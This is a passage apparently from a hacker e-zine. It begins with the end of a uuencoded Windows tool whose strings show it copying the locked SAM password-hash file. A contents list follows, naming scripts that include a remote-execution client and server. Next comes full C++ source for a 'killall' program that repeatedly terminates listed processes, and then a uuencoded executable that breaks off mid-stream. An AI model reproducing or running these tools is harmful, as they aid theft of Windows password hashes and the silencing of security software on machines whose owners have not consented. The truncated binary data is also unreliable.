M:P,``%F)1<2#^/]U!S/`Z2$!```[12`/A.X```!34XU-%%'_=1!0_W4@Z(D#
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
M0``/M@1(@^`(R<-5B^Q1BT4(C4@!@?D``0``=PR+#5BF0``/MP1!ZUN+R,'Y
M"%:+-5BF0``/MM'V1%8!@%YT#X!E_@!J`HA%_8A-_%CK"H!E_0"(1?PSP$!J
M`?\U0*E``(U-"O\U4*E``%%0C47\4&H!Z)+Y__^#Q!R%P'4"R<,/MT4*(T4,
MR</_);"`0```````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````<)$``'R1``"*D0``EI$``*21``"XD0``RI$`
M`-J1``#JD0``]I$```B2```<D@``,)(``$*2``!0D@``7I(``&R2``!\D@``
MBI(``):2``"PD@``P)(``-:2``#LD@``!I,``!R3```LDP``2),``&*3``!Z
MDP``E),``*J3``#$DP``UI,``.23``#VDP``!I0``!J4```HE```.)0``$*4
M``!.E```6I0``&:4``!VE```@I0``)*4``"HE```N)0``,J4``#<E```[I0`
M``"5```0E0``````````````````>>,Z0@`````"````1P```!20```4?```
M9FEL96!S(&9I<G-T(&-L=7-T97(@+2`P>"58("XN(`!.;R!S=6-H(&9I;&4A
M"@``;F]T('9A;&ED(&YA;64*`&]P96X@;W5T9FEL90````!W8@``97AA;7!L
M93H*<F5A9%]F870S,B`M9"!C.B`M:2`O=VEN9&]W<R]S>7-T96TS,B]C;VYF
M:6<O<V%M("UO(&,Z7'-A;0H`````<F5A9%]F870S,B`M9"`\9')I=F4@;&5T
M=&5R/B`M:2`\<&%T:"!T;R!P<F]T96-T960@9FEL93X@+6\@/&]U='!U="!F
M:6QE(&YA;64^"@!296%D("5D(&-L=7-T97)S"@```&9A=#,R7W)E861?9FEL
M90!O<&5N(&9I;&4```!R8@``7%PN7``````*````.B````````#_____NB!`
M`+X@0```````_____[,C0`#'(T``0V]R17AI=%!R;V-E<W,``&US8V]R964N
M9&QL``8```8``0``$``#!@`&`A`$145%!04%!04U,`!0`````"`H.%!8!P@`
M-S`P5U`'```@(`@`````"&!H8&!@8```<'!X>'AX"`<(```'``@("```"``(
M``<(````*`!N`'4`;`!L`"D``````"AN=6QL*0``26QL96=A;"!B>71E('-E
M<75E;F-E````1&ER96-T;W)Y(&YO="!E;7!T>0!&=6YC=&EO;B!N;W0@:6UP
M;&5M96YT960`````3F\@;&]C:W,@879A:6QA8FQE``!&:6QE;F%M92!T;V\@
M;&]N9P```%)E<V]U<F-E(&1E861L;V-K(&%V;VED960```!297-U;'0@=&]O
M(&QA<F=E`````$1O;6%I;B!E<G)O<@````!"<F]K96X@<&EP90!4;V\@;6%N
M>2!L:6YK<P``4F5A9"UO;FQY(&9I;&4@<WES=&5M````26YV86QI9"!S965K
M`````$YO('-P86-E(&QE9G0@;VX@9&5V:6-E`$9I;&4@=&]O(&QA<F=E``!)
M;F%P<')O<')I871E($DO3R!C;VYT<F]L(&]P97)A=&EO;@!4;V\@;6%N>2!O
M<&5N(&9I;&5S`%1O;R!M86YY(&]P96X@9FEL97,@:6X@<WES=&5M````26YV
M86QI9"!A<F=U;65N=`````!)<R!A(&1I<F5C=&]R>0``3F]T(&$@9&ER96-T
M;W)Y`$YO('-U8V@@9&5V:6-E``!);7!R;W!E<B!L:6YK````1FEL92!E>&ES
M=',`4F5S;W5R8V4@9&5V:6-E`%5N:VYO=VX@97)R;W(```!"860@861D<F5S
M<P!097)M:7-S:6]N(&1E;FEE9````$YO="!E;F]U9V@@<W!A8V4`````4F5S
M;W5R8V4@=&5M<&]R87)I;'D@=6YA=F%I;&%B;&4`````3F\@8VAI;&0@<')O
M8V5S<V5S``!"860@9FEL92!D97-C<FEP=&]R`$5X96,@9F]R;6%T(&5R<F]R
M````07)G(&QI<W0@=&]O(&QO;F<```!.;R!S=6-H(&1E=FEC92!O<B!A9&1R
M97-S````26YP=70O;W5T<'5T(&5R<F]R``!);G1E<G)U<'1E9"!F=6YC=&EO
M;B!C86QL````3F\@<W5C:"!P<F]C97-S`$YO('-U8V@@9FEL92!O<B!D:7)E
M8W1O<GD```!/<&5R871I;VX@;F]T('!E<FUI='1E9`!.;R!E<G)O<@````!-
M:6-R;W-O9G0@5FES=6%L($,K*R!2=6YT:6UE($QI8G)A<GD`````4')O9W)A
M;3H@````"@H``"XN+@`\<')O9W)A;2!N86UE('5N:VYO=VX^``!!(&)U9F9E
M<B!O=F5R<G5N(&AA<R!B965N(&1E=&5C=&5D('=H:6-H(&AA<R!C;W)R=7!T
M960@=&AE('!R;V=R86TG<PII;G1E<FYA;"!S=&%T92X@(%1H92!P<F]G<F%M
M(&-A;FYO="!S869E;'D@8V]N=&EN=64@97AE8W5T:6]N(&%N9"!M=7-T"FYO
M=R!B92!T97)M:6YA=&5D+@H`0G5F9F5R(&]V97)R=6X@9&5T96-T960A````
M``````!!('-E8W5R:71Y(&5R<F]R(&]F('5N:VYO=VX@8V%U<V4@:&%S(&)E
M96X@9&5T96-T960@=VAI8V@@:&%S"F-O<G)U<'1E9"!T:&4@<')O9W)A;2=S
M(&EN=&5R;F%L('-T871E+B`@5&AE('!R;V=R86T@8V%N;F]T('-A9F5L>0IC
M;VYT:6YU92!E>&5C=71I;VX@86YD(&UU<W0@;F]W(&)E('1E<FUI;F%T960N
M"@````!5;FMN;W=N('-E8W5R:71Y(&9A:6QU<F4@9&5T96-T960A``#_____
M]DI``/I*0`!R=6YT:6UE(&5R<F]R(```#0H``%1,3U-3(&5R<F]R#0H```!3
M24Y'(&5R<F]R#0H`````1$]-04E.(&5R<F]R#0H``%(V,#(X#0HM('5N86)L
M92!T;R!I;FET:6%L:7IE(&AE87`-"@````!2-C`R-PT*+2!N;W0@96YO=6=H
M('-P86-E(&9O<B!L;W=I;R!I;FET:6%L:7IA=&EO;@T*`````%(V,#(V#0HM
M(&YO="!E;F]U9V@@<W!A8V4@9F]R('-T9&EO(&EN:71I86QI>F%T:6]N#0H`
M````4C8P,C4-"BT@<'5R92!V:7)T=6%L(&9U;F-T:6]N(&-A;&P-"@```%(V
M,#(T#0HM(&YO="!E;F]U9V@@<W!A8V4@9F]R(%]O;F5X:70O871E>&ET('1A
M8FQE#0H`````4C8P,3D-"BT@=6YA8FQE('1O(&]P96X@8V]N<V]L92!D979I
M8V4-"@````!2-C`Q.`T*+2!U;F5X<&5C=&5D(&AE87`@97)R;W(-"@````!2
M-C`Q-PT*+2!U;F5X<&5C=&5D(&UU;'1I=&AR96%D(&QO8VL@97)R;W(-"@``
M``!2-C`Q-@T*+2!N;W0@96YO=6=H('-P86-E(&9O<B!T:')E860@9&%T80T*
M```````-"E1H:7,@87!P;&EC871I;VX@:&%S(')E<75E<W1E9"!T:&4@4G5N
M=&EM92!T;R!T97)M:6YA=&4@:70@:6X@86X@=6YU<W5A;"!W87DN"E!L96%S
M92!C;VYT86-T('1H92!A<'!L:6-A=&EO;B=S('-U<'!O<G0@=&5A;2!F;W(@
M;6]R92!I;F9O<FUA=&EO;BX-"@```%(V,#`Y#0HM(&YO="!E;F]U9V@@<W!A
M8V4@9F]R(&5N=FER;VYM96YT#0H`4C8P,#@-"BT@;F]T(&5N;W5G:"!S<&%C
M92!F;W(@87)G=6UE;G1S#0H```!2-C`P,@T*+2!F;&]A=&EN9R!P;VEN="!N
M;W0@;&]A9&5D#0H`````4G5N=&EM92!%<G)O<B$*"E!R;V=R86TZ(```````
M``#_____1%5``$A50```````_____XA50`",54``````````(``@`"``(``@
M`"``(``@`"``*``H`"@`*``H`"``(``@`"``(``@`"``(``@`"``(``@`"``
M(``@`"``(``@`$@`$``0`!``$``0`!``$``0`!``$``0`!``$``0`!``A`"$
M`(0`A`"$`(0`A`"$`(0`A``0`!``$``0`!``$``0`($`@0"!`($`@0"!``$`
M`0`!``$``0`!``$``0`!``$``0`!``$``0`!``$``0`!``$``0`0`!``$``0
M`!``$`""`((`@@""`((`@@`"``(``@`"``(``@`"``(``@`"``(``@`"``(`
M`@`"``(``@`"``(`$``0`!``$``@````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````````````````````"``(``@`"``(``@`"``(``@`&@`*``H`"@`*``@
M`"``(``@`"``(``@`"``(``@`"``(``@`"``(``@`"``(`!(`!``$``0`!``
M$``0`!``$``0`!``$``0`!``$``0`(0`A`"$`(0`A`"$`(0`A`"$`(0`$``0
M`!``$``0`!``$`"!`8$!@0&!`8$!@0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!
M`0$!`0$!`0$!`0$!`0$!`0$!$``0`!``$``0`!``@@&"`8(!@@&"`8(!`@$"
M`0(!`@$"`0(!`@$"`0(!`@$"`0(!`@$"`0(!`@$"`0(!`@$"`1``$``0`!``
M(``@`"``(``@`"``(``@`"``(``@`"``(``@`"``(``@`"``(``@`"``(``@
M`"``(``@`"``(``@`"``(``@`"``2``0`!``$``0`!``$``0`!``$``0`!``
M$``0`!``$``0`!``%``4`!``$``0`!``$``4`!``$``0`!``$``0``$!`0$!
M`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$0``$!
M`0$!`0$!`0$!`0$!`@$"`0(!`@$"`0(!`@$"`0(!`@$"`0(!`@$"`0(!`@$"
M`0(!`@$"`0(!`@$"`0(!$``"`0(!`@$"`0(!`@$"`0(!`0%'9710<F]C97-S
M5VEN9&]W4W1A=&EO;@!'9715<V5R3V)J96-T26YF;W)M871I;VY!````1V5T
M3&%S=$%C=&EV95!O<'5P``!'971!8W1I=F57:6YD;W<`365S<V%G94)O>$$`
M=7-E<C,R+F1L;````````/____]3<$``5W!``/____]0;D``5&Y``/____\>
M;T``(F]```````#_____[W%``/-Q0```````_____V5T0`!I=$``4E-$4^_C
MV<K<,;=,@\&NO\(7S<@!````9#I<<')O9W-<8W!P7')E861?9F%T,S)<4F5L
M96%S95QR96%D7V9A=#,R+G!D8@```````````````````````)20````````
M`````""5````@`````````````````````````````!PD0``?)$``(J1``"6
MD0``I)$``+B1``#*D0``VI$``.J1``#VD0``")(``!R2```PD@``0I(``%"2
M``!>D@``;)(``'R2``"*D@``EI(``+"2``#`D@``UI(``.R2```&DP``'),`
M`"R3``!(DP``8I,``'J3``"4DP``JI,``,23``#6DP``Y),``/:3```&E```
M&I0``"B4```XE```0I0``$Z4``!:E```9I0``':4``""E```DI0``*B4``"X
ME```RI0``-R4``#NE````)4``!"5````````[P%(96%P06QL;V,`^0%(96%P
M4F5!;&QO8P#U`4AE87!&<F5E``"K`$5X:710<F]C97-S`&<!1V5T36]D=6QE
M2&%N9&QE00``_0!'971#;VUM86YD3&EN94$`R`%'971697)S:6]N17A!`%H!
M1V5T3&%S=$5R<F]R``"0`E)E861&:6QE``")`4=E=%!R;V-!9&1R97-S```Q
M`U1E<FUI;F%T95!R;V-E<W,``"\!1V5T0W5R<F5N=%!R;V-E<W,`\0)3971&
M:6QE4&]I;G1E<@``\P%(96%P1&5S=')O>0#Q`4AE87!#<F5A=&4``%@#5FER
M='5A;$9R964`50-6:7)T=6%L06QL;V,``"P`0VQO<V5(86YD;&4`=@-7<FET
M949I;&4`?@)1=65R>5!E<F9O<FUA;F-E0V]U;G1E<@"^`4=E=%1I8VM#;W5N
M=```,@%'971#=7)R96YT5&AR96%D260``#`!1V5T0W5R<F5N=%!R;V-E<W-)
M9`"L`4=E=%-Y<W1E;51I;65!<T9I;&54:6UE`&4!1V5T36]D=6QE1FEL94YA
M;65!``">`4=E=%-T9$AA;F1L90``0@-5;FAA;F1L961%>&-E<'1I;VY&:6QT
M97(``.,`1G)E945N=FER;VYM96YT4W1R:6YG<T$`/P%'971%;G9I<F]N;65N
M=%-T<FEN9W,`Y`!&<F5E16YV:7)O;FUE;G13=')I;F=S5P!I`U=I9&5#:&%R
M5&]-=6QT:4)Y=&4`00%'971%;G9I<F]N;65N=%-T<FEN9W-7``#Z`E-E=$AA
M;F1L94-O=6YT``!0`4=E=$9I;&54>7!E`)P!1V5T4W1A<G1U<$EN9F]!``P#
M4V5T4W1D2&%N9&QE``#;`$9L=7-H1FEL94)U9F9E<G,``$H`0W)E871E1FEL
M94$`+@),;V%D3&EB<F%R>4$``.L`1V5T04-0``!\`4=E=$]%34-0``#Q`$=E
M=$-026YF;P#[`4AE87!3:7IE``#H`E-E=$5N9$]F1FEL90``L0)2=&Q5;G=I
M;F0`(`),0TUA<%-T<FEN9T$``%$"375L=&E">71E5&]7:61E0VAA<@`A`DQ#
M36%P4W1R:6YG5P``GP%'9713=')I;F=4>7!E00``H@%'9713=')I;F=4>7!E
M5P``70%'971,;V-A;&5);F9O00``6P-6:7)T=6%L4')O=&5C=```J`%'9713
M>7-T96U);F9O`%T#5FER='5A;%%U97)Y``!+15).14PS,BYD;&P`````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````````````````````````!E2D````````````!!1T``
M%%=``$YJ0````````````.='0`````````````````````````````````!.
MYD"[````````````````52M```$``````````````!````#4@D``Q()`````
M``"`KT```````("O0``!`0``````````````$```````````````````````
M``(````!`````````````````````````````````````@````(`````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````"(9``/"%0`#4A4``Q(5``*B%0`"4A4``>(5``&2%0`!0
MA4``/(5``"B%0``$A4``\(1``-R$0`#0A$``P(1``+"$0`"DA$``E(1``(2$
M0`!TA$``9(1``%"$0``PA$``'(1``/B#0`#`A$``Z(-``-"#0`#`@T``J(-`
M`)B#0`",@T``?(-``&B#0`#`A$``3(-``,"$0``X@T``)(-```B#0`#T@D``
MW()``,"$0``K`````````````````````@```.B*0``(````O(I```D```"0
MBD``"@```/B)0``0````R(E``!$```"8B4``$@```'2)0``3````2(E``!@`
M```0B4``&0```.B(0``:````L(A``!L```!XB$``'````%"(0`!X````0(A`
M`'D````PB$``>@```""(0`#\````'(A``/\````,B$``!0``P`L`````````
M'0``P`0`````````E@``P`0`````````C0``P`@`````````C@``P`@`````
M````CP``P`@`````````D```P`@`````````D0``P`@`````````D@``P`@`
M````````DP``P`@``````````P````<````*````C````/____^`"@```0``
M`!8````"`````@````,````"````!````!@````%````#0````8````)````
M!P````P````(````#`````D````,````"@````<````+````"`````P````6
M````#0```!8````/`````@```!`````-````$0```!(````2`````@```"$`
M```-````-0````(```!!````#0```$,````"````4````!$```!2````#0``
M`%,````-````5P```!8```!9````"P```&P````-````;0```"````!P````
M'````'(````)````!@```!8```"`````"@```($````*````@@````D```"#
M````%@```(0````-````D0```"D```">````#0```*$````"````I`````L`
M``"G````#0```+<````1````S@````(```#7````"P```!@'```,````````
M``````"D:D``I&I``*1J0`"D:D``I&I``*1J0`!2BT``6HU```$"!`@`````
MI`,``&"">8(A`````````*;?````````H:4```````"!G^#\`````$!^@/P`
M````J`,``,&CVJ,@``````````````````````````````"!_@```````$#^
M````````M0,``,&CVJ,@``````````````````````````````"!_@``````
M`$'^````````M@,``,^BY*(:`.6BZ*);``````````````````````"!_@``
M`````$!^H?X`````404``%':7MH@`%_::MHR``````````````````````"!
MT]C>X/D``#%^@?X``````0````$````N`````0``````````````(`63&0``
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
#````
`
end
sum -r/size 64331/35328
---< cut here >---
,$$$;$!$$$$$$$$$$$$$$$$!$$$$$$$$$!$$$$.
%;' `;%
Elite kungfu
%;. ,;%
`$$$$$$;$!$$$$$$$$$$$$$$$$$$$$$$$!$$$$'
I. killall.cpp by shmel
II. encode.py by best_mowi
III. rexecd.py, rexecc.py by best_mowi
IV. glw.py by best_mowi
V. ips.asm by shmel
VI. suber.py by best_mowi
I. killall.cpp by shmel
I.I killall.cpp
---< cut here >---
/*
*
* killall,
* Copyright (c) 2004 Shmel. All rights reserved.
*
* Program demonstrate usage of tool help library
* snapshot functions
*
* What it doing:
* 1) Scan all processes running at current time.
* 2) Kill processes listed in processes.lst file.
* 3) Sleep 5 min, goto 1.
*
*/
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
char *process_list[256];
void load_proc_list(void)
{
int ptr = 0;
FILE *fp = fopen("processes.lst", "r");
if (!fp)
{
MessageBox(NULL, "Can't locate file \"processes.lst\"", NULL, \
MB_ICONERROR);
exit(1);
}
while(!feof(fp))
{
process_list[ptr] = new char[256];
if (!fgets(process_list[ptr], 256, fp))
{
process_list[ptr] = NULL;
return;
}
int len = strlen(process_list[ptr]);
if (process_list[ptr][len - 1] == '\n')
process_list[ptr][len - 1] = '\0';
ptr++;
}
process_list[++ptr] = NULL;
fclose(fp);
}
bool cmp(char *str)
{
int i = 0;
while (process_list[i])
if (!strcmpi(str, process_list[i++]))
return true;
return false;
}
int kill(int proc_id)
{
HANDLE hp = OpenProcess(PROCESS_TERMINATE, FALSE, proc_id);
TerminateProcess(hp, 0);
return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
int ptr = 0;
LPPROCESSENTRY32 lppe = new PROCESSENTRY32;
HANDLE hSnapshot;
load_proc_list();
while(1)
{
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
lppe->dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot, lppe);
while (Process32Next(hSnapshot, lppe))
{
if (cmp(lppe->szExeFile))
{
kill(lppe->th32ProcessID);
}
}
CloseHandle(hSnapshot);
Sleep(1000*60*5); // sleep 5 min
}
return 0;
}
---< cut here >---
I.II example of processes.lst file
---< cut here >---
notepad.exe
calc.exe
---< cut here >---
I.III uue encoded killall.exe
---< cut here >---
begin 644 killall.exe
M35J0``,````$````__\``+@`````````0```````````````````````````
M````````````````````X`````X?N@X`M`G-(;@!3,TA5&AI<R!P<F]G<F%M
M(&-A;FYO="!B92!R=6X@:6X@1$]3(&UO9&4N#0T*)`````````"$0=Z#P""P
MT,`@L-#`(+#0.@2LT/T@L-`Z!/#0S""PT`H#E]#"(+#[email protected],4@L-#`(+'0
M_2"PT#H$K=#$(+#0.@2-T,$@L-!2:6-HP""PT`````````````````````!0
M10``3`$#`"PH2$(``````````.``#P$+`0<``%````!0````````J10````0
M````8`````!````0````$```!``````````$``````````"P````$```````
M``(``````!```!``````$```$````````!```````````````'QK```\````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````8```^```````
M`````````````````````````````"YT97AT````3D\````0````4````!``
M`````````````````"```&`N<F1A=&$``-P0````8````"````!@````````
M``````````!```!`+F1A=&$````8(````(`````0````@```````````````
M````0```P```````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`%57:"QA0`!H'&%``#/_Z%X$``"+Z#OO65EU%FH05VCX8$``5_\5\&!``&H!
MZ-8#``#V10P04U9U0+L``0``4^A>`@``55.--+V@AD``4(D&Z/8!``"#Q!"%
MP'0Q_S;H70$``%F+#HU$`?^`.`IU`X`@`$?V10P0=,6#)+VDAD```%7HVP``
M`%E>6U]=PX,DO:"&0```Z_&#/:"&0```5G0>OJ"&0`#_-O]T)`SH+TT``%F#
MQ@2%P%ET"8,^`'7G,L!>P[`!7L/_="0$:@!J`?\5!&!``&H`4/\5`&!``#/`
MPU-65V@H`0``Z+0!``!9B_#H"O___VH`:@+H70```(OX5E?'!B@!``#H2```
M`%97Z#L```"%P'0BC5XD4^AU____A,!9=`G_=@CHF/___UE65^@9````A<!U
MX5?_%0Q@0`!HX),$`/\5"&!``.NGS/\E$&!``/\E%&!``/\E&&!``%:+="0(
MBT8,5X//_ZA`=`6#R/_K.JB#=#16Z!<&``!6B_CHY`4``/]V$.@I!0``@\0,
MA<!]!8//_^L2BT8<A<!T"U#HV`0``(-F'`!9B\>#9@P`7U[#S,S,S,S,S,R+
M3"0$]\$#````="2*`8/!`83`=$[WP0,```!U[P4`````C:0D`````(VD)```
M``"+`;K__OY^`]"#\/\SPH/!!*D``0&!=.B+0?R$P'0RA.1T)*D``/\`=!.I
M````_W0"Z\V-0?^+3"0$*\'#C4'^BTPD!"O!PXU!_8M,)`0KP<.-0?R+3"0$
M*\'#58OL@WT,`%.+70A7B_M_!#/`ZS;_30Q6="J+=1#_3@1X"HL.#[8!08D.
MZP=6Z"D&``!9@_C_=!:(!T<\"G0%_TT,==F`)P"+PUY?6UW#.WT(=?$SV^OP
M:@'_="0(Z!T'``!96<-H0&%``/\5+&!``(7`=!9H,&%``%#_%2A@0`"%P'0&
M_W0D!/_0_W0D!/\5)&!``,RA%*!``(7`=`+_T%97N0R`0`"_'(!``#/`.\^+
M\7,7A<!U/XL.A<ET`O_1@\8$._=R[87`=2QH"!M``.AJ!P``O@"`0`"+QK\(
M@$``.\=9<P^+!H7`=`+_T(/&!#OW<O$SP%]>PU6+[%8S]D8Y->R*0`!7=1#_
M=0C_%3!@0`!0_Q4`8$``@WT,`(I%$(DUZ(I``*+DBD``=5*+#0R@0`"%R70I
MH0B@0`"#Z`0[P>L6BP"%P'0"_]"A"*!``(/H!#L%#*!``*,(H$``<^.X((!`
M`+XH@$``.\:+^',/BP>%P'0"_]"#QP0[_G+QN"R`0`"^,(!``#O&B_AS#XL'
MA<!T`O_0@\<$._YR\8-]$`!?7G43_W4(QP7LBD```0```.BL_O__65W#:@!J
M`/]T)`SH,?___X/$#,-J`&H!_W0D#.@@____@\0,PVH!:@!J`.@1____@\0,
MPVH!:@%J`.@"____@\0,P^AH"```A<!U"\<%H(I``!@```##4/]T)!#_="00
M_W0D$.C?!@``@\00PVI`_W0D#/]T)`SHQ____X/$#,.#/?B*0``!=07H"PH`
M`/]T)`3HBP@``&C_````_Q5`@$``65G#:F!H4&%``.@+$@``OY0```"+Q^A/
M$@``B67HB_2)/E;_%3Q@0`"+3A")#:R*0`"+1@2CN(I``(M6"(D5O(I``(MV
M#('F_W\``(DUL(I``(/Y`G0,@<X`@```B36PBD``P>`(`\*CM(I``#/V5HL]
M+&!``/_79H$X35IU'XM(/`/(@3E010``=1(/MT$8/0L!``!T'ST+`@``=`6)
M=>3K)X.YA`````YV\C/`.;'X````ZPZ#>70.=N(SP#FQZ`````^5P(E%Y%;H
